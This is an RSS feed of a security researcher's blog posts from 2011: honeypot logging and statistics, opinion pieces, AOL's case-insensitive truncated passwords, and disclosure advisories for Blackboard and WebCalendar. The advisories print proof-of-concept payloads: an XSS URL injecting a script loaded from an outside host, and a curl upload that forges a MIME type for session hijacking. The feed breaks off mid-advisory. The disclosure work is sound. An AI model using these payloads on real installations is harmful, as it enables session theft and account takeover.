<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">
  <channel>
    <title>mattjezorek</title>
    <description>Articles from mattjezorek.com</description>
    <link>http://mattjezorek.com</link>
    <atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/MattJezorek" /><feedburner:info uri="mattjezorek" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
      <title>Centralized Dionaea collection</title>
      <description>&lt;p&gt;After playing with &lt;a href="http://dionaea.carnivore.it/"&gt;Dionaea&lt;/a&gt; for several weeks and starting to find some interesting information I have found one problem that I need to solve. Centralized Logging and Data collection.&lt;/p&gt;
&lt;p&gt;With many sensors in different locations I have no real way to  gather information in a manner that makes sense to me. I have tried various methods like downloading all the data and converting it into one database for reporting. This results in lots of bandwidth and general issues because each time you are processing the whole database. The other issue with this is that id&amp;#8217;s have to be toyed with because they are incremented locally and then used to as foreign keys. This is just a mess.&lt;/p&gt;
&lt;p&gt;I then went and did a &lt;a href="https://github.com/mjezorek/honeycollect_old/blob/master/python/scripts/logmysql.py"&gt;logmysql ihandler for Dionaea&lt;/a&gt; and overall it seems to work. However I am not fond of granting access to a database from a honeypot and this should be a web service call. During this work however I found out how ihandlers work in Dionaea and I am announcing the beginning of the &lt;a href="https://github.com/mjezorek/honeycollect"&gt;honeycollect ihandler&lt;/a&gt; that will be used to centralize logging in real time.&lt;/p&gt;
&lt;p&gt;This project will take some work but I am looking at centralizing all data from Dionaea so that you never have to look at your sensors again. After Dionaea is done I want to look at other honeypots and start really putting all this data together.&lt;/p&gt;
&lt;p&gt;I expect some people will be interested and some people will find the whole venture worthless but leave your feedback on the idea.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/MattJezorek/~4/pB00VoTzFSg" height="1" width="1"/&gt;</description>
      <pubDate>Thu, 08 Dec 2011 03:44:59 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/MattJezorek/~3/pB00VoTzFSg/centralized-dionaea-collection</link>
      <guid isPermaLink="false">http://mattjezorek.com/articles/centralized-dionaea-collection?updated_at=2011-12-08T17:17:57</guid>
    <feedburner:origLink>http://mattjezorek.com/articles/centralized-dionaea-collection?updated_at=2011-12-08T17:17:57</feedburner:origLink></item>
    <item>
      <title>2 days of honeypot traffic stats.</title>
      <description>&lt;p&gt;Recently I have decided to put one of my honeypots back online and within about 8 seconds it was hit with a &lt;span class="caps"&gt;MSSQL&lt;/span&gt; probe. I am hoping that this honeypot will bring me much joy and happy days as I learn more about the attacks, the mechanisms of spreading and what they are spreading. During this time I am also looking forward to analyzing malware samples that seem interesting from this honeypot.&lt;/p&gt;
&lt;p&gt;Over the past 2 days I have noticed a very interesting trend in attack times so I wanted to look at the attacks per hour and determine what is going on.&lt;/p&gt;
&lt;div id="time_of_day"&gt;&lt;/div&gt;
&lt;script src="/js/honeypot/bytime20111107.js"&gt;&lt;/script&gt;&lt;p&gt;Also with this honeypot I see a vast majority of the attacks on one port. This is the &lt;span class="caps"&gt;MSSQL&lt;/span&gt; port (1433) and all are attempting to login with the user &amp;#8220;sa&amp;#8221; and credentials of &amp;quot;&amp;quot;. More proof that this is still working is the sheer number of attacks.&lt;/p&gt;
&lt;div id="by_port"&gt;&lt;/div&gt;
&lt;script src="/js/honeypot/byport20111107.js"&gt;&lt;/script&gt;&lt;p&gt;Another interesting item is the remote hosts that have attacked over the past 2 days. Apparently some scanners have not figured out that once they hit an IP address they should not pound on it so much.&lt;/p&gt;
&lt;div id="by_ip"&gt;&lt;/div&gt;
&lt;script src="/js/honeypot/byip20111107.js"&gt;&lt;/script&gt;&lt;p&gt;Last I want to point out is that the malware being delivered is not that unique per attacker and I have noticed that several hosts are delivering the same malware as others.&lt;/p&gt;
&lt;div id="by_malware"&gt;&lt;/div&gt;
&lt;script src="/js/honeypot/bymalware20111107.js"&gt;&lt;/script&gt;&lt;p&gt;I hope to be able to publish more information from this honeypot as it seems to be active.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/MattJezorek/~4/cKYHaoBtLkA" height="1" width="1"/&gt;</description>
      <pubDate>Tue, 08 Nov 2011 14:17:53 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/MattJezorek/~3/cKYHaoBtLkA/2-days-of-honeypot-traffic-stats</link>
      <guid isPermaLink="false">http://mattjezorek.com/articles/2-days-of-honeypot-traffic-stats?updated_at=2011-11-08T14:17:53</guid>
    <feedburner:origLink>http://mattjezorek.com/articles/2-days-of-honeypot-traffic-stats?updated_at=2011-11-08T14:17:53</feedburner:origLink></item>
    <item>
      <title>Proving malware is different than proving attacker</title>
      <description>&lt;p&gt;Brian Krebs recently wrote an article titled &lt;a href="http://krebsonsecurity.com/2011/10/who-else-was-hit-by-the-rsa-attackers/"&gt;Who Else Was Hit by the &lt;span class="caps"&gt;RSA&lt;/span&gt; Attackers?&lt;/a&gt; and while it was an interesting read it has a fundamental flaw.&lt;/p&gt;
&lt;p&gt;Based only on the article alone we can say that the networks in question have/had malware on the network talking to command and control networks. These networks may have been used in the &lt;span class="caps"&gt;RSA&lt;/span&gt; attack. However one thing that is not known is the tenancy of the command and control networks.&lt;/p&gt;
&lt;p&gt;I do not have access to the same data that Krebs does and he has reported he is not at liberty to give the data out so at this point I can only assert that &lt;b&gt;Proving malware is not the same as proving the attacker&lt;/b&gt;.&lt;/p&gt;
&lt;p&gt;I would be interested in seeing the data and how it was determined that the attacker is the same. I am not concerned about who actually provided the data.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/MattJezorek/~4/K0xkrOnU548" height="1" width="1"/&gt;</description>
      <pubDate>Mon, 24 Oct 2011 15:04:16 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/MattJezorek/~3/K0xkrOnU548/proving-malware-is-different-than-proving-attacker</link>
      <guid isPermaLink="false">http://mattjezorek.com/articles/proving-malware-is-different-than-proving-attacker?updated_at=2011-10-24T15:21:43</guid>
    <feedburner:origLink>http://mattjezorek.com/articles/proving-malware-is-different-than-proving-attacker?updated_at=2011-10-24T15:21:43</feedburner:origLink></item>
    <item>
      <title>The users are stupid</title>
      <description>&lt;p&gt;I continue to hear the words “The users are stupid” in the security community and it honestly makes me mad. Not in the sense of the community is wrong but that the community is not looking to find the source of the problem. I see security professionals shifting blame of failings to the user and it is time for that to stop. It is time to ask why. Why are the users stupid? What do they not understand? Why are we not teaching them what they need to know? Why are they not learning? Why is it the users fault?&lt;/p&gt;
&lt;p&gt;You say the users are stupid because they keep getting owned over and over? Maybe you say the users are stupid because they do not understand the simple things. Both of these may be true but do the users actually have the tools to mitigate the threats that face them? I understand you have a user awareness program. Everyone is in compliance because they all completed the &lt;span class="caps"&gt;CBT&lt;/span&gt; style training, right? Did they actually absorb anything from that training? Did  you take honest feedback from the training? How are you measuring your using the right format for the training? I would guess that most people can not answer those questions with certainty and I can understand that.&lt;/p&gt;
&lt;p&gt;I am sure people will say that the users do not want to learn, they are stuck in their ways, productivity is in the way of security. Great, so that means we must be doing something wrong. I believe that users will learn and absorb anything that is presented in a manner that they can relate too. This does not mean technical training for your finance users, it means tailoring your program for the finance users around financial issues. Do not show a guy in a suit in your training to a bunch of software engineers who do not even own a pair of slacks. If I was to put someone in a suit in front of most security engineers and professionals you would instantly think vendor and not care what is to be said. However put someone in front of you in jeans and a black shirt and I may get your attention.&lt;/p&gt;
&lt;p&gt;Why is any of this the users fault? Do we just feel the need to blame others since we can not be bothered to come up with a solution that works? I know we have not tried everything, it’s not possible. It is time for us to get out of our echo chamber and expand into areas that we are not necessarily comfortable with and talk to people outside the industry. We need to start asking people who know more then we do about things we are not professionals of. Teachers can help teach us how to reach our audience more efficiently; Psychologist to make sure that we are sending the right signals; Users to make sure that we are not being condescending to them in our training; Executives to make sure that our training fits the business. There is so much that we can do that we are not. It is time to hack our own problems if we want to advance the actual security of our networks.&lt;/p&gt;
&lt;p&gt;It is time to place the blame in the correct spot, the blame belongs to us. We can do better and we need to do better. It’s time to start hacking the users.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/MattJezorek/~4/zxVwD6F3rqc" height="1" width="1"/&gt;</description>
      <pubDate>Thu, 13 Oct 2011 14:11:18 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/MattJezorek/~3/zxVwD6F3rqc/the-users-are-stupid</link>
      <guid isPermaLink="false">http://mattjezorek.com/articles/the-users-are-stupid?updated_at=2011-10-13T14:20:09</guid>
    <feedburner:origLink>http://mattjezorek.com/articles/the-users-are-stupid?updated_at=2011-10-13T14:20:09</feedburner:origLink></item>
    <item>
      <title>Are we out of information to talk about?</title>
      <description>&lt;p&gt;Today I have finally had enough, I know I am only one person and new to the security industry so none of this matters but this is getting stupid. I will now be dropping any podcast that has Mr. Evans on it because now I see it has a PR play for the podcast itself, as well as furthering the agenda of Mr. Evans as he can put it down in his media list of places he has talked or been interviewed. As of today I will no longer be listening to Network Security Podcast or ISDPodcast not that it means anything to the creators of these podcasts. So podcasters why do you give him airtime and top billing on a podcast? Does he bring you more listeners? Does he bring value to your listeners? Does it de-legitimize him? Who is next to play this clown?&lt;/p&gt;
&lt;p&gt;I personally think that podcasters are now playing &lt;span class="caps"&gt;GDE&lt;/span&gt; because it brings listeners because people enjoy a train wreck, and maybe this is the case. This also might be your goal of the interviews. Maybe for that episode you get more listeners but if they only found your podcast because of &lt;span class="caps"&gt;GDE&lt;/span&gt; then you probably don’t want them as a listener, unless you are just seeking advertising revenues. Why not try to bring listeners to your podcast by talking about interesting topics and things related to the listeners you want to bring in? Is the security industry out of interesting topics? Do we no longer have enough smarts to come up with a good podcast without this garbage? If so stop broadcasting.&lt;/p&gt;
&lt;p&gt;What value does that interview bring to your listeners or do you only care about yourself? Maybe it brings some comments to the podcast or whatever but what about the people who are looking for value out of your podcast. He brings no value it’s the same interview every time and the same thing is said over and over. It is almost a commercial. In fact why not record him once and let every podcast who wants to play it play it. I just do not understand the value it is bringing to your listeners. Can you clue me in?&lt;/p&gt;
&lt;p&gt;I have been told things like “giving him rope and he is hanging”.  Great guess what the information security echo chamber is really damn small and you guys think it is so damn big. This guy has never been legitimate in the echo chamber we live in and giving him airplay does nothing but help him get business from people outside our echo chamber who don’t know the difference between good and bad security practitioners. Congrats you go on his media wall of legitimate places he has been interviewed so that he can use your name to get more money. Start thinking outside of the echo chamber. In fact this echo chamber is a large part of the problem with security in general, we talk and talk and talk to each other but do not get the message out to people who do not live in the chamber. This needs to change, but you are not hurting him you are helping him. Stop please.&lt;/p&gt;
&lt;p&gt;So maybe I am off my rocker but I would love it if someone would explain what putting him on a podcast actually accomplishes for information security? Explain how it benefits the community. Just explain, or you can just ignore me because it does not matter.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/MattJezorek/~4/LZ6K2xlIOEw" height="1" width="1"/&gt;</description>
      <pubDate>Wed, 10 Aug 2011 23:34:09 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/MattJezorek/~3/LZ6K2xlIOEw/are-we-out-of-information-to-talk-about</link>
      <guid isPermaLink="false">http://mattjezorek.com/articles/are-we-out-of-information-to-talk-about?updated_at=2011-08-15T14:16:49</guid>
    <feedburner:origLink>http://mattjezorek.com/articles/are-we-out-of-information-to-talk-about?updated_at=2011-08-15T14:16:49</feedburner:origLink></item>
    <item>
      <title>Security Researchers need to Research</title>
      <description>&lt;p&gt;I normally do not spend much time trying to dispute random crap on the Internet because I would be too busy and I need to remember to eat, drink and sleep but this one annoyed me slightly. I am annoyed about the lack of research that was done,  the right person being blamed for a 4-year-old bug, and strong credit taking of this &lt;a href="https://www.upsploit.com/index.php/advisories/view/UPS-2010-0020"&gt;iTunes/&lt;span class="caps"&gt;AOL&lt;/span&gt; password issue&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;First lets quickly discuss the problem with the &lt;span class="caps"&gt;AOL&lt;/span&gt; Passwords they are case insensitive, truncated to 8 characters and required to be at least 6. There is more detailed information on &lt;a href="http://voices.washingtonpost.com/securityfix/2007/05/aols_password_puzzler.html" title="2007"&gt;The Washington Post&lt;/a&gt; by &lt;a href="https://twitter.com/#!/briankrebs"&gt;@briankrebs&lt;/a&gt; . This is a problem and makes weak passwords no mater how complex one wants to make it (or thinks that it is). &lt;span class="caps"&gt;AOL&lt;/span&gt; is acting as an identity service to iTunes, HuffPo, Meebo, anyone who uses the &lt;span class="caps"&gt;AOL&lt;/span&gt; &lt;a href="http://dev.aol.com/api/openauth"&gt;OpenAuth&lt;/a&gt; or &lt;a href="http://dev.aol.com/topic/opened"&gt;OpenID&lt;/a&gt; services and any instant messaging client. This both compounds the issue and spreads the risk around to everyone.&lt;/p&gt;
&lt;p&gt;In the &lt;a href="https://www.upsploit.com/index.php/advisories/view/UPS-2010-0020"&gt;advisory&lt;/a&gt; that was sent to Apple it mentioned:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;In iTunes on a computer or in the App Store on iPhone, a user can enter a partial &lt;span class="caps"&gt;AOL&lt;/span&gt; password, or a password with incorrect case, or extra characters at the end of a password, or a combination of any or all of these, and Apple will accept the incorrect password, allowing purchases to be made and billing information to be changed.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This statement is just wrong and the understanding of how an identity provider works by the researcher seems wrong. Apple is not accepting the wrong password Apple is not even processing the password, it is sending the username/password combination to the identify provider for verification. The identify provider will say yes that is valid or no it is not. It probably passes more information and hopefully with some semblance of security. I have not (and will not) looked at the way this identify provider works specifically, what protocol it is using, or what extra data is passed back and forth.&lt;/p&gt;
&lt;p&gt;Also this advisory seems more like a ‘OMG, I found a bug’ moment versus actual research because with a little research you can find out that all of the &lt;span class="caps"&gt;AOL&lt;/span&gt; services I tested were vulnerable to this problem up to and including the account management pieces. I was able to login using invalid passwords and change my password, I was able to change all of my profile information, I was able to access my mail and send instant messages all using an invalid password. None of this was done using iTunes it was all done using AOL’s own interfaces and services. I then went and verified that the identity portion was also compromised because I was able to login to Huffington Post (new &lt;span class="caps"&gt;AOL&lt;/span&gt; acquisition) and Meebo and other instant messaging clients with invalid passwords. A simple &lt;a href="http://www.google.com/search?q=aol%208%20char%20password"&gt;Google search&lt;/a&gt; will come up with results from various sources as far back as 2007 that describe the same problems.&lt;/p&gt;
&lt;p&gt;Then the disclosure makes it look like Apple fixed the issue:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“The vulnerability took the whole 6 month disclosure time limit to be announced as Apple were at first unresponsive to the problem and then when they did respond were initially unable to reproduce it. The discoverer of the bug, Joshua Long, contacted them and helped them find the problem and they fixed it almost immediately.“&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Now with a little common sense we know that Apple did not fix it however it reads that Apple fixed it because of the awesome work of the researcher. With a little research the reporter probably could have went so far as to say that &lt;span class="caps"&gt;AOL&lt;/span&gt; is probably using the Unix crypt() function for passwords as this problem is not new, &lt;a href="http://www.amazon.com/"&gt;Amazon.com&lt;/a&gt; had the same &lt;a href="http://www.google.com/search?q=amazon%208%20char%20password"&gt;problem&lt;/a&gt; in the past (however fixed much faster) .&lt;/p&gt;
&lt;p&gt;The other part that annoys me is the strong credit statements on the advisory and anything else published about it:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Any credit for the vulnerability should be given to Joshua Long aka the JoshMeister.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;With a little research done you will find that this is not a new vulnerability only a different victim of &lt;span class="caps"&gt;AOL&lt;/span&gt; not fixing this problem 4 years ago and the person who exposed the real vulnerability 4 years ago should get the credit, and &lt;span class="caps"&gt;AOL&lt;/span&gt; should be raked over the coals for not caring about its users enough to fix this problem 4 years ago. I agree researchers should be credited for findings but I do not believe that someone should be able to take credit for a already disclosed bug.&lt;/p&gt;
&lt;p&gt;Finally what I think should be happening here is that upSploit should focus on the fact that a 4-year-old bug got fixed via the service they provide, and not that it was an iTunes bug. While researchers should do more research and verify that they are submitting the right bug to the right group. As someone who ingests submitted vulnerability reports from other sources I really like it when I can actually do something, in this case Apple had to wait for &lt;span class="caps"&gt;AOL&lt;/span&gt; to fix the actual problem. I also believe that while you should get your credit for what you find, make sure you actually found it.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/MattJezorek/~4/plA7o65hlvM" height="1" width="1"/&gt;</description>
      <pubDate>Tue, 28 Jun 2011 15:44:50 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/MattJezorek/~3/plA7o65hlvM/security-researchers-need-to-research</link>
      <guid isPermaLink="false">http://mattjezorek.com/articles/security-researchers-need-to-research?updated_at=2011-06-28T23:48:51</guid>
    <feedburner:origLink>http://mattjezorek.com/articles/security-researchers-need-to-research?updated_at=2011-06-28T23:48:51</feedburner:origLink></item>
    <item>
      <title>Blackboard version 8.0.494.0 XSS</title>
      <description>&lt;p&gt;Release Date: 01-09-11&lt;br /&gt;
Application: Blackboard&lt;br /&gt;
Versions: 8.0.494.0&lt;br /&gt;
Severity: Medium&lt;br /&gt;
Discovered By: Matt Jezorek&lt;br /&gt;
Vendor Status: Fixed&lt;/p&gt;
&lt;h2&gt;Product Description:&lt;/h2&gt;
&lt;p&gt;Blackboard develops and licenses software applications and related services to over 2200 education institutions in more than 60 countries. These institutions use Blackboard software to manage e-learning, transaction processing and e-commerce, and online communities. &lt;sup class="footnote" id="fnr1"&gt;&lt;a href="#fn1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h2&gt;Vulnerability Details:&lt;/h2&gt;
&lt;p&gt;Cross Site Scripting is able to occur in the User Directory Search, because the fields are not terminated and the search string is not validated we can close the search text field and insert whatever &lt;span class="caps"&gt;HTML&lt;/span&gt; or JavaScript we choose.&lt;/p&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;p&gt;The User Directory Search is vulnerable to &lt;span class="caps"&gt;XSS&lt;/span&gt;&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;
http://localhost/bin/common/search.pl?action=RESULTS&amp;amp;context=USERDIR&amp;amp;type=SEARCH&amp;amp;operation=VIEW&amp;amp;keyword=abcd&amp;amp;keywordraw=%22abcd%22/%3E%3Cscript+src%3Dhttp://mattjezorek.com/js/alert.js%3E%3C/script%3E%3Ca+href%3D%22test%22%3Ewhat%3C/a&amp;amp;x=26&amp;amp;y=15&amp;amp;by=user_id
&lt;/code&gt;&lt;/pre&gt;&lt;/p&gt;
&lt;h2&gt;Versions Affected:&lt;/h2&gt;
&lt;p&gt;Only 8.0.494.0 was tested. Other versions should be tested.&lt;/p&gt;
&lt;h2&gt;Version Patched:&lt;/h2&gt;
&lt;p&gt;Learn Release 8.0 Service Pack 7 Hotfix 2&lt;/p&gt;
&lt;h2&gt;Vendor Response:&lt;/h2&gt;
&lt;p&gt;The following timeline details the vendors response to the reported issue:&lt;/p&gt;
&lt;p&gt;03/05/2011 &amp;#8211; Vendor Notified&lt;br /&gt;
03/07/2011 &amp;#8211; Vendor Responded with incident AS-157506&lt;br /&gt;
03/09/2011 &amp;#8211; Vendor Responded with confirmation of the issue and asked no disclosure till end of May&lt;br /&gt;
05/25/2011 &amp;#8211; Vendor released patch.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;p class="footnote" id="fn1"&gt;&lt;a href="#fnr1"&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/a&gt; &lt;a href="http://www.blackboard.com"&gt;http://www.blackboard.com&lt;/a&gt;&lt;/p&gt;
&lt;p class="footnote" id="fn2"&gt;&lt;a href="#fnr2"&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt; &lt;a href="http://en.wikipedia.org/wiki/Cross-site_scripting"&gt;http://en.wikipedia.org/wiki/Cross-site_scripting&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/MattJezorek/~4/NBMrAR4MSZI" height="1" width="1"/&gt;</description>
      <pubDate>Tue, 28 Jun 2011 15:29:53 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/MattJezorek/~3/NBMrAR4MSZI/blackboard-version-8-0-494-0-xss</link>
      <guid isPermaLink="false">http://mattjezorek.com/articles/blackboard-version-8-0-494-0-xss?updated_at=2011-06-28T15:30:14</guid>
    <feedburner:origLink>http://mattjezorek.com/articles/blackboard-version-8-0-494-0-xss?updated_at=2011-06-28T15:30:14</feedburner:origLink></item>
    <item>
      <title>AOL Fuzzy Passwords, Close but not Exact</title>
      <description>&lt;p&gt;When I was logging in the other day to &lt;span class="caps"&gt;AIM&lt;/span&gt; I noticed that the caps lock key was on (Apparently I was using my cruise control) just to see what would happen and because I am too lazy to hit the backspace key I hit enter. Much to my surprise my password was accepted and I was logged in. This did not seem right so I tried again. When it worked I was able to determine that &lt;span class="caps"&gt;AOL&lt;/span&gt; passwords are case insensitive.&lt;/p&gt;
&lt;p&gt;At this point I wanted to get a little more information about the password procedures at &lt;span class="caps"&gt;AOL&lt;/span&gt; so I ran over to &lt;span class="caps"&gt;AOL&lt;/span&gt; logged in and started to look at the change password feature. It requires your password to be between 6 and 16 characters. Now I would like to see the 6 moved to at least and 8 but I get it. It also made no requirement of special characters so I wont complain about that. I changed my password to ABCDEFG12345678 (changed since then) and started to see what I could login with.&lt;/p&gt;
&lt;p&gt;ABCDEFG1 was the required password oh except I used abcdefg1. So it appears that even if you did put in 16 characters for your password it was made 8 which means that &lt;span class="caps"&gt;AOL&lt;/span&gt; is using crypt() for its password hashing.&lt;/p&gt;
&lt;p&gt;Just a little looking around seems to indicate that back as far as 2007 some of this was disclosed and &lt;span class="caps"&gt;AOL&lt;/span&gt; has not fixed it yet. They are still using the same methods for password hashing because I have changed my password numerous times over the past several days.&lt;/p&gt;
&lt;p&gt;What does this mean to you? Depends on if you use &lt;span class="caps"&gt;AIM&lt;/span&gt; or not and if you care about that account. It is safe to say that every password at &lt;span class="caps"&gt;AOL&lt;/span&gt; is between 6 to 8 characters, case insensitive and probably with no special characters. Brute force would probably not be that hard. I can not even recommend you change your password because no mater how complex you make your password it will be reduced to a small quivering pile of weakness.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/MattJezorek/~4/mCdEKs6BNj4" height="1" width="1"/&gt;</description>
      <pubDate>Wed, 11 May 2011 13:22:22 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/MattJezorek/~3/mCdEKs6BNj4/aol-fuzzy-passwords-close-but-not-exact</link>
      <guid isPermaLink="false">http://mattjezorek.com/articles/aol-fuzzy-passwords-close-but-not-exact?updated_at=2011-05-11T13:22:22</guid>
    <feedburner:origLink>http://mattjezorek.com/articles/aol-fuzzy-passwords-close-but-not-exact?updated_at=2011-05-11T13:22:22</feedburner:origLink></item>
    <item>
      <title>Web Calendar Upload Vulnerability</title>
      <description>&lt;p&gt;Release Date: 04/17/2011&lt;br /&gt;
Application: WebCalendar&lt;br /&gt;
Versions: 1.2.3 and below&lt;br /&gt;
Severity: Medium&lt;br /&gt;
Discovered By: Matt Jezorek&lt;br /&gt;
Vendor Status: Unresponsive&lt;/p&gt;
&lt;h2&gt;Product Description:&lt;/h2&gt;
&lt;p&gt;WebCalendar is a &lt;span class="caps"&gt;PHP&lt;/span&gt;-based calendar application that can be configured as a single-user calendar, a multi-user calendar for groups of users, or as an event calendar viewable by visitors. MySQL, PostgreSQL, Oracle, DB2, Interbase, MS &lt;span class="caps"&gt;SQL&lt;/span&gt; Server, or &lt;span class="caps"&gt;ODBC&lt;/span&gt; is required. &lt;sup class="footnote" id="fnr1"&gt;&lt;a href="#fn1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h2&gt;Vulnerability Overview:&lt;/h2&gt;
&lt;p&gt;By allowing uploads to meeting requests in WebCalendar&lt;sup class="footnote" id="fnr1"&gt;&lt;a href="#fn1"&gt;1&lt;/a&gt;&lt;/sup&gt; we can trick a user into viewing a &amp;#8220;Text Document&amp;#8221; with the mime type of our choosing. By tricking the upload process we can upload a text file that will be served by doc.php as an text/html file allowing us to run JavaScript, applets or other code  in the context of the logged in user. This will allow session hijacking and other attacks.&lt;/p&gt;
&lt;h2&gt;Vulnerability Details:&lt;/h2&gt;
&lt;p&gt;By allowing uploads to meeting requests in WebCalendar&lt;sup class="footnote" id="fnr1"&gt;&lt;a href="#fn1"&gt;1&lt;/a&gt;&lt;/sup&gt; we can trick a user into viewing a &amp;#8220;Text Document&amp;#8221; with the mime type of our choosing. By tricking the upload process we can upload a text file that will be served by doc.php as an text/html file allowing us to run JavaScript, applets or other code in the context of the user viewing the attachment. This will allow session hijacking and other attacks.&lt;/p&gt;
&lt;p&gt;This may be by design and is seen to me as a flaw, this is not blocked and one can just upload an &lt;span class="caps"&gt;HTML&lt;/span&gt; document without having to trick the system. This is due to the way &lt;span class="caps"&gt;PHP&lt;/span&gt; accepts the mime type that is provided by the browser on uploads.&lt;/p&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;p&gt;This is the way to upload a file specifying your own mime type.&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;
curl -H "Cookie: webcalendar_session=cdd3e4c0e81116cd39aceb78c98b7be6a7bacb8e2a2bbdabcd2b5cf92c194c090dfdda0b9ba77" -F "FileName=test.txt;type=text/html'" "http://localhost:8888/docadd.php?id=5&amp;amp;type=A"
&lt;/code&gt;&lt;/pre&gt;&lt;/p&gt;
&lt;p&gt;By creating a special html file that can send authentication information away or if the user that is attacked is an administrator a admin user can be created and a full compromise can happen.&lt;/p&gt;
&lt;h2&gt;Versions Affected:&lt;/h2&gt;
&lt;p&gt;Only 1.2.3 was tested but one can assume that any version prior to this is also at risk.&lt;/p&gt;
&lt;h2&gt;Timeline:&lt;/h2&gt;
&lt;p&gt;10/18/2010 &amp;#8211; Reported via upSploit&lt;sup class="footnote" id="fnr2"&gt;&lt;a href="#fn2"&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;br /&gt;
10/18/2010 &amp;#8211; upSploit submitted to vendor&lt;br /&gt;
11/18/2010 &amp;#8211; upSploit submitted to vendor&lt;br /&gt;
12/18/2010 &amp;#8211; upSploit submitted to vendor&lt;br /&gt;
02/11/2011 &amp;#8211; upSploit submitted to vendor&lt;br /&gt;
03/18/2011 &amp;#8211; upSploit submitted to vendor&lt;br /&gt;
03/25/2011 &amp;#8211; upSploit submitted to vendor&lt;br /&gt;
04/01/2011 &amp;#8211; upSploit submitted to vendor&lt;br /&gt;
04/08/2011 &amp;#8211; upSploit submitted to vendor&lt;br /&gt;
04/15/2011 &amp;#8211; upSploit submitted to vendor&lt;br /&gt;
04/16/2011 &amp;#8211; upSploit submitted to vendor&lt;/p&gt;
&lt;h2&gt;Recommendation&lt;/h2&gt;
&lt;p&gt;Turn off the ability to upload attachments.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;p class="footnote" id="fn1"&gt;&lt;a href="#fnr1"&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/a&gt; &lt;a href="http://www.k5n.us/webcalendar.php"&gt;http://www.k5n.us/webcalendar.php&lt;/a&gt;&lt;/p&gt;
&lt;p class="footnote" id="fn2"&gt;&lt;a href="#fnr2"&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt; &lt;a href="http://www.upsploit.com/"&gt;http://www.upsploit.com/&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/MattJezorek/~4/jXYka43LApg" height="1" width="1"/&gt;</description>
      <pubDate>Sun, 17 Apr 2011 15:34:49 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/MattJezorek/~3/jXYka43LApg/mrj-1010-03-web-calendar-upload-vulnerability</link>
      <guid isPermaLink="false">http://mattjezorek.com/articles/mrj-1010-03-web-calendar-upload-vulnerability?updated_at=2011-04-17T15:36:30</guid>
    <feedburner:origLink>http://mattjezorek.com/articles/mrj-1010-03-web-calendar-upload-vulnerability?updated_at=2011-04-17T15:36:30</feedburner:origLink></item>
    <item>
      <title>Multiple XSS Vulnerabilities in WebCalendar</title>
      <description>&lt;p&gt;Release Date: 04/04/2011&lt;br /&gt;
Application: WebCalendar&lt;br /&gt;
Versions: 1.2.3 and below&lt;br /&gt;
Severity: Medium&lt;br /&gt;
Discovered By: Matt Jezorek&lt;br /&gt;
Vendor Status: Non-responsive&lt;/p&gt;
&lt;h2&gt;Product Description:&lt;/h2&gt;
&lt;p&gt;WebCalendar is a &lt;span class="caps"&gt;PHP&lt;/span&gt;-based calendar application that can be configured as a single-user calendar, a multi-user calendar for groups of users, or as an event calendar viewable by visitors. MySQL, PostgreSQL, Oracle, DB2, Interbase, MS &lt;span class="caps"&gt;SQL&lt;/span&gt; Server, or &lt;span class="caps"&gt;ODBC&lt;/span&gt; is required. &lt;sup class="footnote" id="fnr1"&gt;&lt;a href="#fn1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h2&gt;Vulnerability Overview:&lt;/h2&gt;
&lt;p&gt;Multiple Cross-site Scripting&lt;sup class="footnote" id="fnr2"&gt;&lt;a href="#fn2"&gt;2&lt;/a&gt;&lt;/sup&gt; vulnerabilities in calendar events in WebCalendar 1.2.3 that allows attackers to inject arbitrary JavaScript or &lt;span class="caps"&gt;HTML&lt;/span&gt; via the Brief Description, Full Description, and location on edit_entry.php.&lt;/p&gt;
&lt;h2&gt;Vulnerability Details:&lt;/h2&gt;
